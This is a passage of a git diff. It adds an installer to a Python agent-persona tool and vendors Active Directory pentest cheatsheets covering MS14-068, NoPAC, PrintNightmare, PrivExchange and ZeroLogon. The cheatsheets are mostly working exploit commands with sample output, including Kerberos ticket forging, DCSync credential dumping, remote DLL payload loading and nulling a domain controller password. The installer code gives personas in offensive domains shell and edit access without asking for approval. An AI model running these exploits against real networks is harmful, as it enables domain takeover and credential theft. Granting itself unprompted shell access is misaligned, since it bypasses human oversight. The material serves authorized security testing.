red-like + "intelligence": "info", # cyan-like + "military": "warning", # orange + "law": "warning", + "economics": "success", + "politics": "accent", + "history": "primary", + "linguistics": "secondary", + "media": "secondary", + "engineering": "success", + "academia": "primary", + "humanities": "accent", + "science": "info", + "strategy": "accent", + } + + agent_count = 0 + + for persona_dir in sorted(output_dir.iterdir()): + if not persona_dir.is_dir() or persona_dir.name.startswith("_"): + continue + general_json = persona_dir / "general.json" + if not general_json.exists(): + continue + + data = json.loads(general_json.read_text(encoding="utf-8")) + codename = data.get("codename", persona_dir.name) + name = data.get("name", codename.title()) + role = data.get("role", "Specialist") + domain = data.get("domain", "") + tone = data.get("tone", "") + address_to = data.get("address_to", "") + quote = data.get("quote", "") + skills = data.get("skills", []) + + soul = data.get("sections", {}).get("soul", "") + methodology = data.get("sections", {}).get("methodology", "") + behavior = data.get("sections", {}).get("behavior_rules", "") + + body = f"You are **{name}** ({address_to}) — {role}.\n\n" + body += f"Domain: {domain} | Tone: {tone}\n\n" + if quote: + body += f'> "{quote}"\n\n' + if soul: + body += "## Soul\n" + soul.strip() + "\n\n" + if methodology: + body += "## Methodology\n" + methodology.strip() + "\n\n" + if behavior: + body += "## Behavior\n" + behavior.strip() + "\n\n" + if skills: + body += "## Mapped Skills\n" + ", ".join(skills) + "\n" + + is_offensive = domain in OFFENSIVE_DOMAINS + mode = "primary" if is_offensive else "subagent" + color = DOMAIN_COLOR.get(domain, "primary") + + # Permission block differs for offensive vs analytical personas. + if is_offensive: + permission_block = ( + "permission:\n" + " edit: allow\n" + " bash:\n" + ' "*": allow\n' + " webfetch: allow\n" + ) + else: + permission_block = ( + "permission:\n" + " edit: ask\n" + " bash:\n" + ' "*": ask\n' + " webfetch: allow\n" + ) + + desc = f"{name} ({address_to}) — {role}. Domain: {domain}.".replace( + "\n", " " + ) + + frontmatter = ( + "---\n" + f"description: {desc}\n" + f"mode: {mode}\n" + "temperature: 0.3\n" + f"color: {color}\n" + f"{permission_block}" + "---\n\n" + ) + agent_file = agents_dir / f"{codename}.md" + agent_file.write_text(frontmatter + body, encoding="utf-8") + agent_count += 1 + + # Install shared skills with topic filter. OpenCode reads SKILL.md with + # name+description frontmatter (same as Claude). + skill_count = 0 + per_topic: dict[str, int] = {} + skipped_topic = 0 + + # Purge existing skills dir so stale filtered-out skills are removed. + if skills_dir.exists(): + import shutil as _shutil + + for existing in skills_dir.iterdir(): + if existing.is_dir(): + _shutil.rmtree(existing) + + if shared_dir: + for skills_subdir in ["skills", "paperclip-skills", "community-skills"]: + src_root = shared_dir / skills_subdir + if not src_root.exists(): + continue + for skill_dir in src_root.iterdir(): + if not skill_dir.is_dir(): + continue + src_skill = skill_dir / "SKILL.md" + if not src_skill.exists(): + continue + # Honor opencode name regex: ^[a-z0-9]+(-[a-z0-9]+)*$. + sanitized = skill_dir.name.lower() + if not re.match(r"^[a-z0-9]+(-[a-z0-9]+)*$", sanitized): + continue + + # Topic filter — drop skills not in requested topics. + fm = _parse_skill_frontmatter_simple(src_skill) + topic = _classify_skill_topic(skill_dir.name, fm) + if topic not in topics: + skipped_topic += 1 + continue + + per_topic[topic] = per_topic.get(topic, 0) + 1 + + dest_dir = skills_dir / sanitized + dest_dir.mkdir(parents=True, exist_ok=True) + dest_skill = dest_dir / "SKILL.md" + dest_skill.write_text( + src_skill.read_text(encoding="utf-8"), encoding="utf-8" + ) + # Copy references/ if present. + refs = skill_dir / "references" + if refs.exists() and refs.is_dir(): + dest_refs = dest_dir / "references" + dest_refs.mkdir(exist_ok=True) + for ref in refs.iterdir(): + if ref.is_file(): + (dest_refs / ref.name).write_text( + ref.read_text(encoding="utf-8"), + encoding="utf-8", + ) + skill_count += 1 + + print( + f" OpenCode: {agent_count} agents installed to {agents_dir}" + ) + print( + f" OpenCode skills: {skill_count} installed " + f"({skipped_topic} skipped by topic filter)" + ) + if per_topic: + print(" Per topic: " + ", ".join( + f"{k}={v}" for k, v in sorted(per_topic.items(), key=lambda x: -x[1]) + )) + return agent_count + + def install_gemini(output_dir: Path): """Install personas as Gemini Gems (JSON format for Google AI Studio).""" gems_dir = output_dir / "_gems" @@ -1534,6 +1848,7 @@ def main(): "antigravity", "gemini", "openclaw", + "opencode", "paperclip", "all", ], @@ -1587,6 +1902,17 @@ def main(): "offensive=red-team+pentest+exploit verbs; defensive=DFIR+threat-hunting; " "ctiops=threat-intel+APT; minimal=top categories only; all=no filters.", ) + parser.add_argument( + "--opencode-topics", + default=None, + help="Comma-separated topic filter for --install opencode. " + "Topics: security-offensive, security-defensive, security-cloud, " + "security-specialized, security-iam, security-network, security-general, " + "ai-llm-dev, coding-backend, coding-frontend, coding-tools, cloud-infra, " + "database, browser-scrape, ops-sysadmin, osint-intel, marketing-content, " + "business-pm, uncategorized. " + "Default drops marketing/biz. Use 'all' for no filter.", + ) parser.add_argument( "--search", type=str, @@ -1717,6 +2043,7 @@ def main(): "antigravity", "gemini", "openclaw", + "opencode", "paperclip", ] else: @@ -1740,6 +2067,19 @@ def main(): install_gemini(output_dir) elif target == "openclaw": install_openclaw(output_dir) + elif target == "opencode": + if args.opencode_topics: + if args.opencode_topics.strip().lower() == "all": + oc_topics = OPENCODE_TOPICS + else: + oc_topics = { + t.strip() + for t in args.opencode_topics.split(",") + if t.strip() + } + else: + oc_topics = None # use default + install_opencode(output_dir, shared_dir, topics=oc_topics) elif target == "paperclip": install_paperclip(output_dir, personas_dir, shared_dir) diff --git a/personas/_shared/internal-allthethings/DISCLAIMER.md b/personas/_shared/internal-allthethings/DISCLAIMER.md new file mode 100644 index 0000000..c43c783 --- /dev/null +++ b/personas/_shared/internal-allthethings/DISCLAIMER.md @@ -0,0 +1,11 @@ +# DISCLAIMER + +The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization. + +By accessing and using this repository, you agree to: + +* Refrain from using the provided information for any unethical or illegal activities. +* Ensure that all testing and experimentation are conducted responsibly and with proper authorization. +* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility. + +Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law. diff --git a/personas/_shared/internal-allthethings/README.md b/personas/_shared/internal-allthethings/README.md new file mode 100644 index 0000000..28a3c47 --- /dev/null +++ b/personas/_shared/internal-allthethings/README.md @@ -0,0 +1,28 @@ +# Internal All The Things + +Active Directory and Internal Pentest Cheatsheets + +An alternative display version is available at [Internal All The Things - Web version](https://swisskyrepo.github.io/InternalAllTheThings/). + +

+ banner +

+ +## 📖 Documentation + +* Feel free to update any pages with your knowledge by submitting a Pull Request +* Content in this repository is provided as is, for learning purpose. The author and contributors take no responsibility if you break something. + +## 👨‍💻 Contributions + +

+ + contributors-list + +

+ +Thanks again for your contribution! :heart: + +You can also share the project and contribute with a Github Sponsorship. +[![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Internal%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Internal%20Security%20Assessments-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/InternalAllTheThings) +[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&link=https://github.com/sponsors/swisskyrepo)](https://github.com/sponsors/swisskyrepo) diff --git a/personas/_shared/internal-allthethings/active-directory/.gitkeep b/personas/_shared/internal-allthethings/active-directory/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/personas/_shared/internal-allthethings/active-directory/CVE/MS14-068.md b/personas/_shared/internal-allthethings/active-directory/CVE/MS14-068.md new file mode 100644 index 0000000..61b4050 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/CVE/MS14-068.md @@ -0,0 +1,83 @@ +# MS14-068 Checksum Validation + +This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine. + +* RPCClient + + ```powershell + rpcclient $> lookupnames john.smith + john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1) + ``` + +* WMI + + ```powershell + wmic useraccount get name,sid + Administrator S-1-5-21-3415849876-833628785-5197346142-500 + Guest S-1-5-21-3415849876-833628785-5197346142-501 + Administrator S-1-5-21-297520375-2634728305-5197346142-500 + Guest S-1-5-21-297520375-2634728305-5197346142-501 + krbtgt S-1-5-21-297520375-2634728305-5197346142-502 + lambda S-1-5-21-297520375-2634728305-5197346142-1110 + ``` + +* Powerview + + ```powershell + Convert-NameToSid high-sec-corp.localkrbtgt + S-1-5-21-2941561648-383941485-1389968811-502 + ``` + +* netexec: `netexec ldap DC1.lab.local -u username -p password -k --get-sid` + +```bash +Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068 +``` + +Generate a ticket with `metasploit` or `pykek` + +```powershell +Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL + PASSWORD P@ssw0rd yes The Domain User password + RHOSTS 10.10.10.10 yes The target address range or CIDR identifier + RPORT 88 yes The target port + Timeout 10 yes The TCP timeout to establish connection and read data + USER lambda yes The Domain User + USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000 +``` + +```powershell +# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek +$ git clone https://github.com/SecWiki/windows-kernel-exploits +$ python ./ms14-068.py -u @ -s -d -p +$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org +$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10 +$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066 +-1105 + [+] Building AS-REQ for msfdc01.metasploitable.local... Done! + [+] Sending AS-REQ to msfdc01.metasploitable.local... Done! + [+] Receiving AS-REP from msfdc01.metasploitable.local... Done! + [+] Parsing AS-REP from msfdc01.metasploitable.local... Done! + [+] Building TGS-REQ for msfdc01.metasploitable.local... Done! + [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done! + [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done! + [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done! + [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done! +``` + +Then use `mimikatz` to load the ticket. + +```powershell +mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" +``` + +## Mitigations + +* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780 + +## References + +* [Exploiting MS14-068 with PyKEK and Kali - 14 DEC 2014 - ZACH GRACE @ztgrace](https://zachgrace.com/posts/exploiting-ms14-068/) diff --git a/personas/_shared/internal-allthethings/active-directory/CVE/NoPAC.md b/personas/_shared/internal-allthethings/active-directory/CVE/NoPAC.md new file mode 100644 index 0000000..ba964e6 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/CVE/NoPAC.md @@ -0,0 +1,164 @@ +# NoPAC / samAccountName Spoofing + +During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. + +An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. + +For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. +An attacker would then create a machine account with the sAMAccountName set to 'DC'. + +The attacker can then request a TGT for the newly created machine account. + +After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. + +The attacker can then perform S4U2Self and request a ST to itself as any user. + +Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller. + +**Requirements**: + +* MachineAccountQuota > 0 + +**Check for exploitation**: + +* Check the MachineAccountQuota of the account + + ```powershell + netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ + StandIn.exe --object ms-DS-MachineAccountQuota=* + ``` + +* Check if the DC is vulnerable + + ```powershell + netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac + ``` + +**Exploitation**: + +1. Create a computer account + + ```powershell + impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword' + + powermad@windows> . .\Powermad.ps1 + powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force + powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose + + sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword + ``` + +2. Clear the controlled machine account `servicePrincipalName` attribute + + ```ps1 + krbrelayx@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController + + powershell@windows> . .\Powerview.ps1 + powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose + ``` + +3. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$` + + ```ps1 + # https://github.com/SecureAuthCorp/impacket/pull/1224 + impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password' + + powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose + ``` + +4. Request a TGT for the controlled machine account + + ```ps1 + impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword' + + cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap + ``` + +5. Reset the controlled machine account sAMAccountName to its old value + + ```ps1 + impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password' + + powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose + ``` + +6. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before + + ```ps1 + # https://github.com/SecureAuthCorp/impacket/pull/1202 + impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController' + + cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT] + ``` + +7. DCSync + + ```ps1 + KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local' + ``` + +Automated exploitation: + +* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows + + ```powershell + noPac.exe scan -domain htb.local -user user -pass 'password123' + noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt + noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator + ``` + +* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux + + ```ps1 + python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump + ``` + +* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin) + + ```ps1 + $ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell + [*] Selected Target dc.caltech.white + [*] Total Domain Admins 11 + [*] will try to impersonat gaylene.dreddy + [*] Current ms-DS-MachineAccountQuota = 10 + [*] Adding Computer Account "SAMTHEADMIN-11$" + [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL + [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL. + [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white + [*] SAMTHEADMIN-11$ sAMAccountName == dc + [*] Saving ticket in dc.ccache + [*] Resting the machine account to SAMTHEADMIN-11$ + [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value + [*] Using TGT from cache + [*] Impersonating gaylene.dreddy + [*] Requesting S4U2self + [*] Saving ticket in gaylene.dreddy.ccache + [!] Launching semi-interactive shell - Careful what you execute + C:\Windows\system32>whoami + nt authority\system + ``` + +* [ly4k/Pachine](https://github.com/ly4k/Pachine) + + ```powershell + usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local] + [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip] + [domain/]username[:password] + $ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!' + $ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!' + $ export KRB5CCNAME=$PWD/administrator@domain.local.ccache + $ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local' + ``` + +**Mitigations**: + +* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520) +* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9) +* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7) +* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31) +* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e) +* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041) + +## References + +* [sAMAccountName spoofing - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing) diff --git a/personas/_shared/internal-allthethings/active-directory/CVE/PrintNightmare.md b/personas/_shared/internal-allthethings/active-directory/CVE/PrintNightmare.md new file mode 100644 index 0000000..63b6f72 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/CVE/PrintNightmare.md @@ -0,0 +1,112 @@ +# PrintNightmare + +> CVE-2021-1675 / CVE-2021-34527 + +The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`. +The exploit will execute the DLL either from the local filesystem or a remote share. + +Requirements: + +* **Spooler Service** enabled (Mandatory) +* Server with patches < June 2021 +* DC with `Pre Windows 2000 Compatibility` group +* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1 +* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0 + +**Detect the vulnerability**: + +* Impacket - [impacket/rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py) + + ```ps1 + python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR' + Protocol: [MS-RPRN]: Print System Remote Protocol + ``` + +* [byt3bl33d3r/ItWasAllADream](https://github.com/byt3bl33d3r/ItWasAllADream) + + ```ps1 + cd ItWasAllADream && poetry install && poetry shell + itwasalladream -u user -p Password123 -d domain 10.10.10.10/24 + docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10 + ``` + +**Payload Hosting**: + +* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109): + + ```ps1 + python3 ./smbserver.py share /tmp/smb/ + ``` + +* Using [3gstudent/Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host): + + ```ps1 + Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable + ``` + +* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights): + + ```ps1 + SharpWebServer.exe port=8888 dir=c:\users\public verbose=true + ``` + +When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll` +WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav: + +```ps1 +nxc smb -u user -p password -d domain.local -M webdav [TARGET] +``` + +**Trigger the exploit**: + +* [cube0x0/SharpNightmare](https://github.com/cube0x0/CVE-2021-1675) + + ```powershell + # require a modified Impacket: https://github.com/cube0x0/impacket + python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll' + python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll' + ## LPE + SharpPrintNightmare.exe C:\addCube.dll + ## RCE using existing context + SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' + ## RCE using runas /netonly + SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123 + ``` + +* [calebstewart/Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675) + + ```powershell + ## LPE only (PS1 + DLL) + Import-Module .\cve-2021-1675.ps1 + Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default + Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" + Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll" + ``` + +* [gentilkiwi/mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases) + + ```powershell + ## LPE + misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll + ## RCE + misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50 + ``` + +* [outflanknl/PrintNightmare](https://github.com/outflanknl/PrintNightmare) + + ```powershell + PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password] + ``` + +**Debug informations** + +| Error | Message | Debug | +|--------|-----------------------|------------------------------------------| +| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share | +| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. | +| 0x180 | unknown error code | Share is not SMB2 | + +## References + +* [Playing with PrintNightmare - 0xdf - Jul 8, 2021](https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html) +* [A Practical Guide to PrintNightmare in 2024 - itm4n - Jan 28, 2024](https://itm4n.github.io/printnightmare-exploitation/) diff --git a/personas/_shared/internal-allthethings/active-directory/CVE/PrivExchange.md b/personas/_shared/internal-allthethings/active-directory/CVE/PrivExchange.md new file mode 100644 index 0000000..3b87a56 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/CVE/PrivExchange.md @@ -0,0 +1,59 @@ +# PrivExchange + +Exchange your privileges for Domain Admin privs by abusing Exchange. +:warning: You need a shell on a user account with a mailbox. + +1. Exchange server hostname or IP address + + ```bash + pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username + ``` + +2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). + + ```powershell + ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username + ``` + +3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine. + + ```bash + # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py + python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx + python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange + + # https://github.com/G0ldenGunSec/PowerPriv + powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 + ``` + +4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash + + ```bash + python secretsdump.py xxxxxxxxxx -just-dc + python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm + ``` + +5. Clean your mess and restore a previous state of the user's ACL + + ```powershell + python aclpwn.py --restore ../aclpwn-20190319-125741.restore + ``` + +Alternatively you can use the Metasploit module + +[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420) + +Alternatively you can use an all-in-one tool : Exchange2domain. + +```powershell +git clone github.com/Ridter/Exchange2domain +python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip +python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip +``` + +## References + +* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin) +* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/) +* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/) +* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html) diff --git a/personas/_shared/internal-allthethings/active-directory/CVE/ZeroLogon.md b/personas/_shared/internal-allthethings/active-directory/CVE/ZeroLogon.md new file mode 100644 index 0000000..2adf48c --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/CVE/ZeroLogon.md @@ -0,0 +1,111 @@ +# ZeroLogon + +> CVE-2020-1472 + +**Exploitation**: + +1. Spoofing the client credential +2. Disabling signing and sealing +3. Spoofing a call +4. Changing a computer's AD password to null +5. From password change to domain admin +6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service + +**Tools**: + +* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm) + +```powershell +# Check (https://github.com/SecuraBV/CVE-2020-1472) +proxychains python3 zerologon_tester.py DC01 172.16.1.5 + +$ git clone https://github.com/dirkjanm/CVE-2020-1472.git + +# Activate a virtual env to install impacket +$ python3 -m venv venv +$ source venv/bin/activate +$ pip3 install . + +# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py) +proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5 + +# Find the old NT hash of the DC +proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL' + +# Restore password from secretsdump +# secretsdump will automatically dump the plaintext machine password (hex encoded) +# when dumping the local registry secrets on the newest version +python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3 +deactivate +``` + +* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly + +```powershell +git clone https://github.com/nccgroup/nccfsas +# Check +execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local + +# Resetting the machine account password +execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset + +# Testing from a non Domain-joined machine +execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch + +# Now reset the password back +``` + +* `Mimikatz` - 2.2.0 20200917 Post-Zerologon + +```powershell +privilege::debug +# Check for the CVE +lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ + +# Exploit the CVE and set the computer account's password to "" +lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit + +# Execute dcsync to extract some hashes +lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm +lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm + +# Pass The Hash with the extracted Domain Admin hash +sekurlsa::pth /user:Administrator /domain:LAB 